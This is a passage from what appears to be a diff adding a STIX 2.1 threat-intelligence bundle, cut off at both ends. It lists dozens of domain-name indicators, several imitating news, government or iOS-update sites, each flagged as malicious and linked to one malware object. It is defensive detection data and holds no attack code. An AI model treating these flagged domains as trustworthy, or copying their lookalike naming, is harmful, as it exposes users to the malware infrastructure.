"2026-02-17T19:39:51.809112Z", + "modified": "2026-02-17T19:39:51.809112Z", + "relationship_type": "indicates", + "source_ref": "indicator--2c425214-d01a-4584-a63f-c62f848f485f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b0215fbe-8018-4257-a9a1-28b7d235e82b", + "created": "2026-02-17T19:39:51.809189Z", + "modified": "2026-02-17T19:39:51.809189Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='informationrank.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.809189Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--97a484fc-d4b2-493d-807f-7606e636943e", + "created": "2026-02-17T19:39:51.809504Z", + "modified": "2026-02-17T19:39:51.809504Z", + "relationship_type": "indicates", + "source_ref": "indicator--b0215fbe-8018-4257-a9a1-28b7d235e82b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--082b63d4-7b1f-46f7-821b-d00bbee1b3a3", + "created": "2026-02-17T19:39:51.809585Z", + "modified": "2026-02-17T19:39:51.809585Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cabinet-salyk.kz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.809585Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c450c6aa-cfaf-4963-a542-6c169deca626", + "created": "2026-02-17T19:39:51.809902Z", + "modified": "2026-02-17T19:39:51.809902Z", + "relationship_type": "indicates", + "source_ref": "indicator--082b63d4-7b1f-46f7-821b-d00bbee1b3a3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c1019cc4-1ddb-4304-9ce8-a65fd5a7c4c9", + "created": "2026-02-17T19:39:51.809981Z", + "modified": "2026-02-17T19:39:51.809981Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carrefourmisr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.809981Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--77fc673b-6599-4a98-ae33-9a5abc1cc1bb", + "created": "2026-02-17T19:39:51.810295Z", + "modified": "2026-02-17T19:39:51.810295Z", + "relationship_type": "indicates", + "source_ref": "indicator--c1019cc4-1ddb-4304-9ce8-a65fd5a7c4c9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e832d23e-f57b-4610-9b72-8294bc95085d", + "created": "2026-02-17T19:39:51.810376Z", + "modified": "2026-02-17T19:39:51.810376Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bit-li.ws']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.810376Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--09fba357-53e7-447b-a506-511f6764da92", + "created": "2026-02-17T19:39:51.810689Z", + "modified": "2026-02-17T19:39:51.810689Z", + "relationship_type": "indicates", + "source_ref": "indicator--e832d23e-f57b-4610-9b72-8294bc95085d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--13011340-9ad4-4122-ab5e-0d1d9a41b4f4", + "created": "2026-02-17T19:39:51.810768Z", + "modified": "2026-02-17T19:39:51.810768Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nikjol.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.810768Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--897bb4ea-5170-4bbf-972c-a5a386153144", + "created": "2026-02-17T19:39:51.811153Z", + "modified": "2026-02-17T19:39:51.811153Z", + "relationship_type": "indicates", + "source_ref": "indicator--13011340-9ad4-4122-ab5e-0d1d9a41b4f4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94ce3c36-20ad-49a4-a11a-fb0db23d5cb8", + "created": "2026-02-17T19:39:51.811235Z", + "modified": "2026-02-17T19:39:51.811235Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='landingpge.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.811235Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a857992d-9916-4711-9cfc-c91e9fd1a9a1", + "created": "2026-02-17T19:39:51.811538Z", + "modified": "2026-02-17T19:39:51.811538Z", + "relationship_type": "indicates", + "source_ref": "indicator--94ce3c36-20ad-49a4-a11a-fb0db23d5cb8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6e96e6d8-6642-4c7c-ba84-2aae19d6dcbf", + "created": "2026-02-17T19:39:51.811612Z", + "modified": "2026-02-17T19:39:51.811612Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vaovao.soutien-a-rajoelina.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.811612Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7dd62e77-7b44-4019-8866-9a1d0ae43c32", + "created": "2026-02-17T19:39:51.811919Z", + "modified": "2026-02-17T19:39:51.811919Z", + "relationship_type": "indicates", + "source_ref": "indicator--6e96e6d8-6642-4c7c-ba84-2aae19d6dcbf", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf6750e8-8241-4b9b-9bd1-8374401c6632", + "created": "2026-02-17T19:39:51.811994Z", + "modified": "2026-02-17T19:39:51.811994Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ancienthistory.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.811994Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f0f8c9d-9273-471d-b5b8-16b19b88c25d", + "created": "2026-02-17T19:39:51.812294Z", + "modified": "2026-02-17T19:39:51.812294Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf6750e8-8241-4b9b-9bd1-8374401c6632", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--85169d1a-00d2-4d0b-9cdb-f24349ff317c", + "created": "2026-02-17T19:39:51.812371Z", + "modified": "2026-02-17T19:39:51.812371Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kinder.engine.ninja']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.812371Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--08835c1d-6779-4c55-9028-123c56ca2f6b", + "created": "2026-02-17T19:39:51.812673Z", + "modified": "2026-02-17T19:39:51.812673Z", + "relationship_type": "indicates", + "source_ref": "indicator--85169d1a-00d2-4d0b-9cdb-f24349ff317c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f60239f3-787f-4730-9246-9c760d0b3c4f", + "created": "2026-02-17T19:39:51.812747Z", + "modified": "2026-02-17T19:39:51.812747Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clcti.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.812747Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b33469ac-1207-4ec2-8e2f-0459fb6367f0", + "created": "2026-02-17T19:39:51.813053Z", + "modified": "2026-02-17T19:39:51.813053Z", + "relationship_type": "indicates", + "source_ref": "indicator--f60239f3-787f-4730-9246-9c760d0b3c4f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cca78e74-e57a-4390-9871-cb94cb7a5dad", + "created": "2026-02-17T19:39:51.813127Z", + "modified": "2026-02-17T19:39:51.813127Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tclnk.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.813127Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--474e6f93-3037-47c5-afa1-b5cc65b144a3", + "created": "2026-02-17T19:39:51.813418Z", + "modified": "2026-02-17T19:39:51.813418Z", + "relationship_type": "indicates", + "source_ref": "indicator--cca78e74-e57a-4390-9871-cb94cb7a5dad", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1f085d7d-b623-4699-a502-2df0c80d0b1c", + "created": "2026-02-17T19:39:51.813493Z", + "modified": "2026-02-17T19:39:51.813493Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='koora-egypt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.813493Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--229bf392-14fc-4098-bf44-820e984f757a", + "created": "2026-02-17T19:39:51.813792Z", + "modified": "2026-02-17T19:39:51.813792Z", + "relationship_type": "indicates", + "source_ref": "indicator--1f085d7d-b623-4699-a502-2df0c80d0b1c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--80a1a053-5d86-4f97-bb88-6ac369d3152a", + "created": "2026-02-17T19:39:51.813867Z", + "modified": "2026-02-17T19:39:51.813867Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weather-live.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.813867Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e7e18a8a-00df-4863-be78-6df1325c38c1", + "created": "2026-02-17T19:39:51.814193Z", + "modified": "2026-02-17T19:39:51.814193Z", + "relationship_type": "indicates", + "source_ref": "indicator--80a1a053-5d86-4f97-bb88-6ac369d3152a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--41f72118-23f5-4efc-ac33-5ec559305a7c", + "created": "2026-02-17T19:39:51.814277Z", + "modified": "2026-02-17T19:39:51.814277Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sky-news.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.814277Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f399e82b-b1be-4f29-a9ee-b83828815c1e", + "created": "2026-02-17T19:39:51.814662Z", + "modified": "2026-02-17T19:39:51.814662Z", + "relationship_type": "indicates", + "source_ref": "indicator--41f72118-23f5-4efc-ac33-5ec559305a7c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d876a4a7-aff4-48d8-81da-f0e9335eed6c", + "created": "2026-02-17T19:39:51.814743Z", + "modified": "2026-02-17T19:39:51.814743Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='intercontinentalhg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.814743Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--639b3580-3ef9-41ce-ab59-02ec5008e739", + "created": "2026-02-17T19:39:51.815058Z", + "modified": "2026-02-17T19:39:51.815058Z", + "relationship_type": "indicates", + "source_ref": "indicator--d876a4a7-aff4-48d8-81da-f0e9335eed6c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a41ea27-d8cd-4118-85a4-0e3bc313f070", + "created": "2026-02-17T19:39:51.815134Z", + "modified": "2026-02-17T19:39:51.815134Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lubentv.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.815134Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c46cb964-f87b-4a5f-8340-90a096900d22", + "created": "2026-02-17T19:39:51.815431Z", + "modified": "2026-02-17T19:39:51.815431Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a41ea27-d8cd-4118-85a4-0e3bc313f070", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fd221cdb-9366-4ffd-995f-19be86f40d02", + "created": "2026-02-17T19:39:51.815507Z", + "modified": "2026-02-17T19:39:51.815507Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quick-ads.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.815507Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--95b05038-cd41-4b61-8261-69269744f93c", + "created": "2026-02-17T19:39:51.815803Z", + "modified": "2026-02-17T19:39:51.815803Z", + "relationship_type": "indicates", + "source_ref": "indicator--fd221cdb-9366-4ffd-995f-19be86f40d02", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf8a78a4-08b9-4403-b93b-682b964d6b94", + "created": "2026-02-17T19:39:51.815882Z", + "modified": "2026-02-17T19:39:51.815882Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cloudstatistics.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.815882Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--de1f3a29-5d55-405b-ac22-d52412d506d3", + "created": "2026-02-17T19:39:51.816182Z", + "modified": "2026-02-17T19:39:51.816182Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf8a78a4-08b9-4403-b93b-682b964d6b94", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--daf075e7-5d0a-4a44-84ee-1dec6398d68b", + "created": "2026-02-17T19:39:51.816257Z", + "modified": "2026-02-17T19:39:51.816257Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='otaupdatesios.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.816257Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07c0975e-c28d-4a1b-9097-4964e93f396f", + "created": "2026-02-17T19:39:51.816553Z", + "modified": "2026-02-17T19:39:51.816553Z", + "relationship_type": "indicates", + "source_ref": "indicator--daf075e7-5d0a-4a44-84ee-1dec6398d68b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--48f20b9b-bb08-4225-a9fd-d14becd62cc4", + "created": "2026-02-17T19:39:51.816627Z", + "modified": "2026-02-17T19:39:51.816627Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tokoulouri.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.816627Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4f951db7-cb91-46d5-b4c4-59c4749c2db2", + "created": "2026-02-17T19:39:51.81692Z", + "modified": "2026-02-17T19:39:51.81692Z", + "relationship_type": "indicates", + "source_ref": "indicator--48f20b9b-bb08-4225-a9fd-d14becd62cc4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--70ff9976-a9af-442a-b756-2c67f8648588", + "created": "2026-02-17T19:39:51.816994Z", + "modified": "2026-02-17T19:39:51.816994Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hempower.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.816994Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9b3c4e45-4a36-43aa-b347-8730f9806b5d", + "created": "2026-02-17T19:39:51.817346Z", + "modified": "2026-02-17T19:39:51.817346Z", + "relationship_type": "indicates", + "source_ref": "indicator--70ff9976-a9af-442a-b756-2c67f8648588", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8c18f172-9c03-402e-8e81-c95fcb3f4ca3", + "created": "2026-02-17T19:39:51.817421Z", + "modified": "2026-02-17T19:39:51.817421Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gorows.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.817421Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14c3df9c-d714-4b5a-bf06-616fc9c28d6f", + "created": "2026-02-17T19:39:51.817713Z", + "modified": "2026-02-17T19:39:51.817713Z", + "relationship_type": "indicates", + "source_ref": "indicator--8c18f172-9c03-402e-8e81-c95fcb3f4ca3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--45e8b845-a760-4778-93e3-1a3ea183c97d", + "created": "2026-02-17T19:39:51.817787Z", + "modified": "2026-02-17T19:39:51.817787Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='elwatnanews.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.817787Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1f9f8746-b7da-4549-8e34-6381cfc104f6", + "created": "2026-02-17T19:39:51.818147Z", + "modified": "2026-02-17T19:39:51.818147Z", + "relationship_type": "indicates", + "source_ref": "indicator--45e8b845-a760-4778-93e3-1a3ea183c97d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23405234-2cbb-438f-b95f-4134d4d30261", + "created": "2026-02-17T19:39:51.818224Z", + "modified": "2026-02-17T19:39:51.818224Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='traffic-moi-eg.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.818224Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0a25c3e2-814b-423d-8090-6d1d5d597781", + "created": "2026-02-17T19:39:51.818523Z", + "modified": "2026-02-17T19:39:51.818523Z", + "relationship_type": "indicates", + "source_ref": "indicator--23405234-2cbb-438f-b95f-4134d4d30261", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bede10ce-fe1f-439c-8edd-cdf792ada0c8", + "created": "2026-02-17T19:39:51.818597Z", + "modified": "2026-02-17T19:39:51.818597Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dealstransfer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.818597Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1f1a1f0d-e1ff-4167-9c4f-0ed558a5386c", + "created": "2026-02-17T19:39:51.818936Z", + "modified": "2026-02-17T19:39:51.818936Z", + "relationship_type": "indicates", + "source_ref": "indicator--bede10ce-fe1f-439c-8edd-cdf792ada0c8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b6c08c4-8f2a-45bb-8f12-e29c62fc5ea8", + "created": "2026-02-17T19:39:51.819011Z", + "modified": "2026-02-17T19:39:51.819011Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='linkit.cloud']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.819011Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8b32de80-aab6-48d0-801e-7a397a967c15", + "created": "2026-02-17T19:39:51.819303Z", + "modified": "2026-02-17T19:39:51.819303Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b6c08c4-8f2a-45bb-8f12-e29c62fc5ea8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6597903e-016c-4936-92f2-06ca59623cb0", + "created": "2026-02-17T19:39:51.819377Z", + "modified": "2026-02-17T19:39:51.819377Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guardnew.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.819377Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--13944b19-2b4c-45af-89bf-4cbb772ff976", + "created": "2026-02-17T19:39:51.819673Z", + "modified": "2026-02-17T19:39:51.819673Z", + "relationship_type": "indicates", + "source_ref": "indicator--6597903e-016c-4936-92f2-06ca59623cb0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1166588-23aa-48da-8f1a-901527b81f0c", + "created": "2026-02-17T19:39:51.819746Z", + "modified": "2026-02-17T19:39:51.819746Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bit-ly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.819746Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4ecb93d0-77dc-4bda-b4b0-012066cc6a5b", + "created": "2026-02-17T19:39:51.820034Z", + "modified": "2026-02-17T19:39:51.820034Z", + "relationship_type": "indicates", + "source_ref": "indicator--a1166588-23aa-48da-8f1a-901527b81f0c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fea8b8f5-8070-4821-81fd-7d673f1f2483", + "created": "2026-02-17T19:39:51.820108Z", + "modified": "2026-02-17T19:39:51.820108Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tengrinnews.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.820108Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--619af91a-e1be-4bff-9995-e062b9f02382", + "created": "2026-02-17T19:39:51.820404Z", + "modified": "2026-02-17T19:39:51.820404Z", + "relationship_type": "indicates", + "source_ref": "indicator--fea8b8f5-8070-4821-81fd-7d673f1f2483", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1bb2fba4-6dd8-4f3e-868d-30b70a82b30f", + "created": "2026-02-17T19:39:51.820478Z", + "modified": "2026-02-17T19:39:51.820478Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='informburo.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.820478Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dfe9561d-20ee-442a-8a23-cdcb96035fe7", + "created": "2026-02-17T19:39:51.820769Z", + "modified": "2026-02-17T19:39:51.820769Z", + "relationship_type": "indicates", + "source_ref": "indicator--1bb2fba4-6dd8-4f3e-868d-30b70a82b30f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dcc1fb52-d5e4-4d21-8732-335aea699330", + "created": "2026-02-17T19:39:51.820842Z", + "modified": "2026-02-17T19:39:51.820842Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pocopoc.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.820842Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3d5e8687-5d6f-40b9-b727-c1f7e44fbece", + "created": "2026-02-17T19:39:51.821134Z", + "modified": "2026-02-17T19:39:51.821134Z", + "relationship_type": "indicates", + "source_ref": "indicator--dcc1fb52-d5e4-4d21-8732-335aea699330", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--734294bc-5472-4eec-a449-a8fd626e8e1f", + "created": "2026-02-17T19:39:51.821213Z", + "modified": "2026-02-17T19:39:51.821213Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='9o.gg']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.821213Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f5e274af-bcb4-4fb2-be6a-1dabc036d158", + "created": "2026-02-17T19:39:51.821599Z", + "modified": "2026-02-17T19:39:51.821599Z", + "relationship_type": "indicates", + "source_ref": "indicator--734294bc-5472-4eec-a449-a8fd626e8e1f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--14c08894-6ebc-4c9f-b457-826b3d1a78ff", + "created": "2026-02-17T19:39:51.821675Z", + "modified": "2026-02-17T19:39:51.821675Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='get-location.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.821675Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cae7689d-5d99-4892-a5b1-74185eda9d61", + "created": "2026-02-17T19:39:51.821972Z", + "modified": "2026-02-17T19:39:51.821972Z", + "relationship_type": "indicates", + "source_ref": "indicator--14c08894-6ebc-4c9f-b457-826b3d1a78ff", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5f6c2917-f6e4-4676-a46a-de27f7b9943b", + "created": "2026-02-17T19:39:51.822046Z", + "modified": "2026-02-17T19:39:51.822046Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='midi-madgasikara.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.822046Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da7918b0-6ce8-4208-9134-7f3f19fa1b9b", + "created": "2026-02-17T19:39:51.822344Z", + "modified": "2026-02-17T19:39:51.822344Z", + "relationship_type": "indicates", + "source_ref": "indicator--5f6c2917-f6e4-4676-a46a-de27f7b9943b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2252e2dc-9b80-4ed9-b092-b9c53ae5c0ff", + "created": "2026-02-17T19:39:51.82242Z", + "modified": "2026-02-17T19:39:51.82242Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sniper.pet']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.82242Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--79eda47d-3fee-40db-a533-073e21600633", + "created": "2026-02-17T19:39:51.82273Z", + "modified": "2026-02-17T19:39:51.82273Z", + "relationship_type": "indicates", + "source_ref": "indicator--2252e2dc-9b80-4ed9-b092-b9c53ae5c0ff", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a0d073ca-9356-4a1f-a0f2-5c2a3e1f5300", + "created": "2026-02-17T19:39:51.822804Z", + "modified": "2026-02-17T19:39:51.822804Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='charmander.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.822804Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--130bc9c3-7051-4b9c-af16-a49be8b5c933", + "created": "2026-02-17T19:39:51.823095Z", + "modified": "2026-02-17T19:39:51.823095Z", + "relationship_type": "indicates", + "source_ref": "indicator--a0d073ca-9356-4a1f-a0f2-5c2a3e1f5300", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--40e4da23-8a62-4152-8911-11f3dd2a2505", + "created": "2026-02-17T19:39:51.823168Z", + "modified": "2026-02-17T19:39:51.823168Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flowercafee.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.823168Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8302e2c7-1f85-4d13-bbca-6e4a8e2fbe57", + "created": "2026-02-17T19:39:51.823464Z", + "modified": "2026-02-17T19:39:51.823464Z", + "relationship_type": "indicates", + "source_ref": "indicator--40e4da23-8a62-4152-8911-11f3dd2a2505", + "target_ref": 